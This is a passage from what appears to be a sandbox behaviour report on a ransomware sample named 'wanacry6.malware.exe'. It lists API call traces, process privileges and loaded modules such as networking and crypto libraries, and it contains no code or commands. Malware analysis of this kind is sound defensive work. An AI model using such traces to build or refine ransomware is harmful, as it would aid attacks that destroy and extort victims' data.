GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.769] InvalidateRect (hWnd=0xa004e, lpRect=0x0, bErase=1) returned 1 [0044.769] DestroyAcceleratorTable (hAccel=0x1901df) returned 1 [0044.769] DeleteObject (ho=0xffffffff930a07d3) returned 1 [0044.769] DestroyWindow (hWnd=0xc0182) returned 1 [0044.769] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.769] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x30002, lParam=0xc0182) returned 0x0 [0044.770] DestroyWindow (hWnd=0xd001e) returned 1 [0044.770] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.770] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x40002, lParam=0xd001e) returned 0x0 [0044.770] DeleteObject (ho=0xffffffff9f0a070e) returned 1 [0044.770] DestroyWindow (hWnd=0xc0020) returned 1 [0044.770] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.770] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x50002, lParam=0xc0020) returned 0x0 [0044.771] DeleteObject (ho=0x5a0a07c9) returned 1 [0044.771] DestroyWindow (hWnd=0x6011c) returned 1 [0044.771] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.771] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x60002, lParam=0x6011c) returned 0x0 [0044.778] DeleteObject (ho=0x490a0805) returned 1 [0044.778] DestroyWindow (hWnd=0x901e6) returned 1 [0044.778] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.778] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x70002, lParam=0x901e6) returned 0x0 [0044.778] DeleteObject (ho=0x300a06fa) returned 1 [0044.778] DestroyWindow (hWnd=0x9018a) returned 1 [0044.778] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.778] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x80002, lParam=0x9018a) returned 0x0 [0044.779] KillTimer (hWnd=0x0, uIDEvent=0x7f6d) returned 1 [0044.779] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0044.781] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.781] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0044.781] DeleteObject (ho=0xffffffffa31007b3) returned 1 [0044.781] DeleteObject (ho=0x3f100559) returned 1 [0044.781] DeleteObject (ho=0x351007f1) returned 1 [0044.782] PostQuitMessage (nExitCode=0) [0044.782] GetMessageW (in: lpMsg=0xa96acafcf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xa96acafcf8) returned 0 [0044.786] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0044.794] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 1 [0044.797] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0044.798] OleUninitialize () [0044.799] DestroyCursor (hCursor=0x170193) returned 0 [0044.800] ExitProcess (uExitCode=0x0) Process: id = "26" image_name = "wanacr~1.exe" filename = "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe" page_root = "0xa89c000" os_pid = "0xa5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xae0" cmd_line = "C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2120 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2121 start_va = 0xe0d6190000 end_va = 0xe0d61affff entry_point = 0x0 region_type = private name = "private_0x000000e0d6190000" filename = "" Region: id = 2122 start_va = 0xe0d61b0000 end_va = 0xe0d61befff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d61b0000" filename = "" Region: id = 2123 start_va = 0xe0d61c0000 end_va = 0xe0d65bffff entry_point = 0x0 region_type = private name = "private_0x000000e0d61c0000" filename = "" Region: id = 2124 start_va = 0xe0d65c0000 end_va = 0xe0d65c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d65c0000" filename = "" Region: id = 2125 start_va = 0xe0d65d0000 end_va = 0xe0d65d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d65d0000" filename = "" Region: id = 2126 start_va = 0xe0d65e0000 end_va = 0xe0d65e1fff entry_point = 0x0 region_type = private name = "private_0x000000e0d65e0000" filename = "" Region: id = 2127 start_va = 0x7ff755e00000 end_va = 0x7ff755e22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff755e00000" filename = "" Region: id = 2128 start_va = 0x7ff755e25000 end_va = 0x7ff755e25fff entry_point = 0x0 region_type = private name = "private_0x00007ff755e25000" filename = "" Region: id = 2129 start_va = 0x7ff755e2e000 end_va = 0x7ff755e2ffff entry_point = 0x0 region_type = private name = "private_0x00007ff755e2e000" filename = "" Region: id = 2130 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b7fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 2131 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2133 start_va = 0xe0d67a0000 end_va = 0xe0d6b9ffff entry_point = 0x0 region_type = private name = "private_0x000000e0d67a0000" filename = "" Region: id = 2134 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2135 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2136 start_va = 0xe0d6190000 end_va = 0xe0d619ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d6190000" filename = "" Region: id = 2137 start_va = 0xe0d61a0000 end_va = 0xe0d61a6fff entry_point = 0x0 region_type = private name = "private_0x000000e0d61a0000" filename = "" Region: id = 2138 start_va = 0xe0d65f0000 end_va = 0xe0d666dfff entry_point = 0xe0d65f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2139 start_va = 0xe0d6670000 end_va = 0xe0d6676fff entry_point = 0x0 region_type = private name = "private_0x000000e0d6670000" filename = "" Region: id = 2140 start_va = 0xe0d6680000 end_va = 0xe0d6680fff entry_point = 0x0 region_type = private name = "private_0x000000e0d6680000" filename = "" Region: id = 2141 start_va = 0xe0d6690000 end_va = 0xe0d6690fff entry_point = 0x0 region_type = private name = "private_0x000000e0d6690000" filename = "" Region: id = 2142 start_va = 0xe0d6d10000 end_va = 0xe0d6d1ffff entry_point = 0x0 region_type = private name = "private_0x000000e0d6d10000" filename = "" Region: id = 2143 start_va = 0xe0d6d20000 end_va = 0xe0d6ea7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d6d20000" filename = "" Region: id = 2144 start_va = 0xe0d6eb0000 end_va = 0xe0d7030fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d6eb0000" filename = "" Region: id = 2145 start_va = 0xe0d7040000 end_va = 0xe0d843ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d7040000" filename = "" Region: id = 2146 start_va = 0x7ff755d00000 end_va = 0x7ff755dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff755d00000" filename = "" Region: id = 2147 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2148 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22aca768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 2149 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 2150 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2151 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2152 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2153 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2154 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c91080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 2155 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2156 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 2157 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2158 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2159 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2160 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2161 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2162 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2163 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2164 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2165 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2166 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2167 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2168 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2169 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2170 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2171 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2172 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2173 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2174 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2175 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c7111a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 2176 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2177 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa1010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2178 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2179 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2180 start_va = 0xe0d66b0000 end_va = 0xe0d66b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d66b0000" filename = "" Region: id = 2181 start_va = 0xe0d6cc0000 end_va = 0xe0d6ccffff entry_point = 0x0 region_type = private name = "private_0x000000e0d6cc0000" filename = "" Region: id = 2182 start_va = 0xe0d66c0000 end_va = 0xe0d6779fff entry_point = 0xe0d66ec768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2183 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2184 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2185 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2186 start_va = 0xe0d66a0000 end_va = 0xe0d66a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d66a0000" filename = "" Region: id = 2187 start_va = 0xe0d6ba0000 end_va = 0xe0d6c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d6ba0000" filename = "" Region: id = 2188 start_va = 0xe0d66a0000 end_va = 0xe0d66a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d66a0000" filename = "" Region: id = 2189 start_va = 0xe0d66c0000 end_va = 0xe0d66c6fff entry_point = 0x0 region_type = private name = "private_0x000000e0d66c0000" filename = "" Region: id = 2190 start_va = 0xe0d8440000 end_va = 0xe0d853ffff entry_point = 0x0 region_type = private name = "private_0x000000e0d8440000" filename = "" Region: id = 2191 start_va = 0xe0d8540000 end_va = 0xe0d8640fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d8540000" filename = "" Region: id = 2192 start_va = 0xe0d66d0000 end_va = 0xe0d66d0fff entry_point = 0x0 region_type = private name = "private_0x000000e0d66d0000" filename = "" Region: id = 2193 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2194 start_va = 0xe0d8540000 end_va = 0xe0d8814fff entry_point = 0xe0d8540000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2195 start_va = 0xe0d66e0000 end_va = 0xe0d66e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d66e0000" filename = "" Region: id = 2196 start_va = 0xe0d66f0000 end_va = 0xe0d66f0fff entry_point = 0x0 region_type = private name = "private_0x000000e0d66f0000" filename = "" Region: id = 2197 start_va = 0xe0d8820000 end_va = 0xe0d8d11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d8820000" filename = "" Region: id = 2198 start_va = 0xe0d8d20000 end_va = 0xe0d9b8ffff entry_point = 0xe0d8d20000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2199 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2200 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2201 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2202 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2203 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2204 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2205 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2206 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2207 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2208 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2209 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2210 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2211 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2212 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2213 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2214 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2215 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2216 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2217 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2218 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2219 start_va = 0xe0d6700000 end_va = 0xe0d6700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d6700000" filename = "" Region: id = 2220 start_va = 0xe0d9b90000 end_va = 0xe0d9da7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d9b90000" filename = "" Region: id = 2221 start_va = 0xe0d9db0000 end_va = 0xe0dcc45fff entry_point = 0xe0d9db0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 2222 start_va = 0xe0d6700000 end_va = 0xe0d6702fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d6700000" filename = "" Region: id = 2223 start_va = 0xe0d6710000 end_va = 0xe0d6710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d6710000" filename = "" Region: id = 2224 start_va = 0xe0d6720000 end_va = 0xe0d6763fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d6720000" filename = "" Region: id = 2225 start_va = 0xe0dcc50000 end_va = 0xe0dd049fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0dcc50000" filename = "" Region: id = 2226 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2227 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2228 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2241 start_va = 0xe0d6770000 end_va = 0xe0d6794fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e0d6770000" filename = "" Thread: id = 141 os_tid = 0x128 [0044.932] GetStartupInfoW (in: lpStartupInfo=0xe0d65bf8b0 | out: lpStartupInfo=0xe0d65bf8b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0044.933] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0044.933] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0044.933] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0044.933] GetProcAddress (hModule=0x7ffe2a640000, 